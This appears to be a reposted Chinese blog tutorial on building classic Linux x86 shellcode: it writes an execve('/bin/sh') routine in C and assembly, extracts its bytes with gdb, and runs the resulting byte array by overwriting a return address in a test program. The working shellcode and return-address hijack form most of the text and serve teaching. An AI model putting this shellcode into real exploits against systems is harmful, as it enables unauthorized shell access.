如何编写并编译一个shellcode!

最近开始再看LINUX了嘛(希望还不算太晚)。所以就找找文章,看有什么好的就贴到自己BLOG上来。

【实验环境】

        虚拟机:VMware Workstation , Version: 5.5.3 build-34685

        虚拟机OS:Redhat Linux 9.03简体中文版,X86-based PC

        主机OS:Microsoft Windows XP SP2

        gcc:3.2.2 20030222(Red Hat Linux 3.2.2-5)

        gdb:5.3post-0.20021129.18rh

【正文】

一般的缓冲区溢出攻击都想得到一个用户shell,通过这个shell来控制目标系 统。我们使用shell填充要溢出的缓冲区,然后覆盖函数的return地址,让其指向buffer,而我们的shellcode位于其中,于是程序就执 行了我们的攻击代码,从而生成一个用户shell。

    一般的,在Linux下我们可以执行下面的C语言代码来生成一个用户shell:

/*shellcode.c*/

#include

void main() {

      char *name[2];

      name[0] = "/bin/sh";

      name[1] = NULL;

      execve(name[0], name, NULL);

}

将这段代码编译执行可以得到一个shell,如下所示:

[root@localhost zhang]# gcc -o shellcode shellcode.c

[root@localhost zhang]# ./shellcode

sh-2.05b# exit

exit

[root@localhost zhang]#

    设想我们把/bin/sh这个可以产生shell的指令放在某个内存空间内,然后我们将这个地址覆盖溢出的函数返回地址,这样当函数返回时我们就可以得到一个shell,而且非常可能的得到一个root权限的shell。

    对于这段shellcode,不能简单的将其以普通字符串的方式填充到要溢出的缓冲区中,那样的话不会执行,我们要填充的是一段可执行的数据。由于机器码 可以直接被执行,所以我们要把shellcode作为机器码填充到缓冲区中,这样,当程序执行到这里的时候,就可以直接触发机器码,并且执行它,从而生成 一个用户shell。

    按照这个思想,我们按照如下的步骤构造出一段汇编代码,然后通过gdb生成所需的机器码:

首先将以NULL终结的字符串"/bin/sh"写入一个内存空间,可以先将清空一个寄存器,然后将其压入堆栈用于终结字符串,然后将字符串压入堆栈:

       xorl       %eax, %eax     ;create a NULL in EAX

       pushl     %eax              ;push that zero (null) into stack

       pushl     $0x68732f2f   ;push "//sh" in to stack

       pushl     $0x6e69622f   ;push "/bin" in to stack

现在ESP指向堆栈的顶端,即"/bin/sh"的开始地址,将其装入EBX寄存器:

       movl      %esp, %ebx    ;put ESP to EBX

再次将EAX压入堆栈,用来终结字符串:

       pushl     %eax               ;push that zero (null) into stack

    将"/bin/sh"的开始地址压入堆栈:

       pushl     %ebx               ;push EBX ,the address of "/bin/sh" to stack

    将现在的ESP放入ECX寄存器中:

       movl       %esp, %ecx    ;write the address of stack top into ECX

    清空EDX寄存器:

       xorl      %edx, %edx       ;create a NULL in EDX

    系统调用execve的标识是0xb,将其放在AL中:

       movb      $0xb, %al       ;

    现在可以触发80号中断进入系统内核模式,释放时间片:

        int       $0x80                ;realease time slice

    现在我们已经构造好了一个shellcode的汇编代码,这段代码能不能用,我们现在来做一个测试,在C语言中嵌套这段汇编代码,我们得到如下的程序:

/* shellcode_asm.c*/

main()

{

    __asm__("

        xorl          %eax,%eax

        pushl       %eax

        pushl       $0x68732f2f

        pushl       $0x6e69622f

        movl        %esp, %ebx

        pushl       %eax

        pushl       %ebx

        movl         %esp, %ecx

        xorl          %edx, %edx

        movb       $0xb, %eax

        int            $0x80

     " );

}

现在,将这段代码编译执行,具体过程如下:

[root@localhost zhang]# vi shellcode_asm.c

[root@localhost zhang]# gcc shellcode_asm.c -o shellcode_asm

shellcode_asm.c:3:17: warning: multi-line string literals are deprecated

[root@localhost zhang]# ./shellcode_asm

sh-2.05b# exit

exit

[root@localhost zhang]#

可见,构造的shellcode生效了,但是如上文所述,如果要用shellcode进行缓 冲区溢出攻击,就必须得到shellcode的机器码,我们用gdb来得到shellcode的机器码。首先将shellcode_asm进行反编译,然 后用x/bx命令得到机器码,x/bx指令一次可以得到函数中每个字符的机器码,将其拼凑起来就可以得到整个函数的机器码。我们要的机器码不是整个 shellcode_asm.c程序,而是main函数中的汇编代码的机器码,由于main函数中汇编开始的地方为main+16,所以我们从 main+16出开始获取机器码,具体过程如下所示:

[root@localhost zhang]# gdb shellcode_asm

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x080482f4 :    push     %ebp

0x080482f5 :    mov      %esp,%ebp

0x080482f7 :    sub       $0x8,%esp

0x080482fa :    and       $0xfffffff0,%esp

0x080482fd :    mov      $0x0,%eax

0x08048302 :   sub     %eax,%esp

0x08048304 :   xor      %eax,%eax

0x08048306 :   push   %eax

0x08048307 :   push   $0x68732f2f

0x0804830c :   push   $0x6e69622f

0x08048311 :   mov    %esp,%ebx

0x08048313 :   push   %eax

0x08048314 :   push   %ebx

0x08048315 :   mov    %esp,%ecx

0x08048317 :   xor      %edx,%edx

0x08048319 :   mov    $0xb,%al

0x0804831b :   int       $0x80

0x0804831d :   leave

0x0804831e :   ret

0x0804831f :   nop

End of assembler dump.

(gdb) x/bx main+16

0x8048304 :    0x31

(gdb)

0x8048305 :    0xc0

(gdb)

0x8048306 :    0x50

(gdb)

0x8048307 :    0x68

(gdb)

0x8048308 :    0x2f

(gdb)

0x8048309 :    0x2f

(gdb)

0x804830a :    0x73

(gdb)

0x804830b :    0x68

(gdb)

0x804830c :    0x68

(gdb)

0x804830d :    0x2f

(gdb)

0x804830e :    0x62

(gdb)

0x804830f :    0x69

(gdb)

0x8048310 :    0x6e

(gdb)

0x8048311 :    0x89

(gdb)

0x8048312 :    0xe3

(gdb)

0x8048313 :    0x50

(gdb)

0x8048314 :    0x53

(gdb)

0x8048315 :    0x89

(gdb)

0x8048316 :    0xe1

(gdb)

0x8048317 :    0x31

(gdb)

0x8048318 :    0xd2

(gdb)

0x8048319 :    0xb0

(gdb)

0x804831a :    0x0b

(gdb)

0x804831b :    0xcd

(gdb)

0x804831c :    0x80

(gdb)

0x804831d :    0xc9

(gdb) quit

[root@localhost zhang]#

    现在将得到的机器码收集起来,加以整理得到如下的shellcode字符数组:

char shellcode[] =

        "\x31\xc0"                         /*    xor %eax, %eax      */

        "\x50"                               /*   push %eax               */

        "\x68\x2f\x2f\x73\x68"       /*    push $0x68732f2f   */

        "\x68\x2f\x62\x69\x6e"      /*    push $0x6e69622f  */

        "\x89\xe3"                        /*    mov  %esp,%ebx     */

        "\x50"                               /*  push %eax                */

        "\x53"                              /*    push %ebx               */

        "\x89\xe1"                       /*    mov  %esp,%ecx       */

        "\x31\xd2"                       /*    xor  %edx,%edx        */

        "\xb0\x0b"                      /*    mov  $0xb,%al           */

        "\xcd\x80";                      /*    int  $0x80                  */

    到此我们完成了一个基本的shellcode的构造,下面将对shellcode进行测试,如本为第三章中所述,本文采用第一种指令跳转方式,即打开记录,所以,首先撰写如下的代码来改变函数的返回地址,使其指向shellcode所在的地址:

/* simple_overflow.c   Author: zzm */

char shellcode[] =

        "\x31\xc0"                         /*    xor %eax, %eax      */

        "\x50"                               /*   push %eax               */

        "\x68\x2f\x2f\x73\x68"       /*    push $0x68732f2f   */

        "\x68\x2f\x62\x69\x6e"      /*    push $0x6e69622f  */

        "\x89\xe3"                        /*    mov  %esp,%ebx     */

        "\x50"                               /*  push %eax                */

        "\x53"                              /*    push %ebx               */

        "\x89\xe1"                       /*    mov  %esp,%ecx       */

        "\x31\xd2"                       /*    xor  %edx,%edx        */

        "\xb0\x0b"                      /*    mov  $0xb,%al           */

        "\xcd\x80";                      /*    int  $0x80                  */

main()

{

      int * ret;

      ret = (int *)&ret +2;

     (*ret) = (int)shellcode;

}

    明白程序堆栈的结构就可以明白上面的程序是怎么使函数的返回地址改变了而指向shellcode的地址,从而执行攻击代码shellcode[]。在上面 的函数中,声明了一个int型的指针变量,main函数中第二行将ret的地址向后移了两个int单位的内存地址,从而到达了程序的返回地址ret,然后 再将ret修改为shellcode的入口地址,这样当函数执行到该返回的时候时,就执行了我们精心构造的shellcode攻击代码,给攻击者返回一个 shell。

    具体的编译执行过程如下所示:

[root@localhost zhang]# vi simple_overflow.c

[root@localhost zhang]# gcc -o simple_overflow simple_overflow.c

[root@localhost zhang]# ./simple_overflow

sh-2.05b# exit

exit

[root@localhost zhang]#

   可见我们的分析是正确的,真的产生了一个shell。【完】

转载自:点击打开链接

你可能感兴趣的:(逆向工程)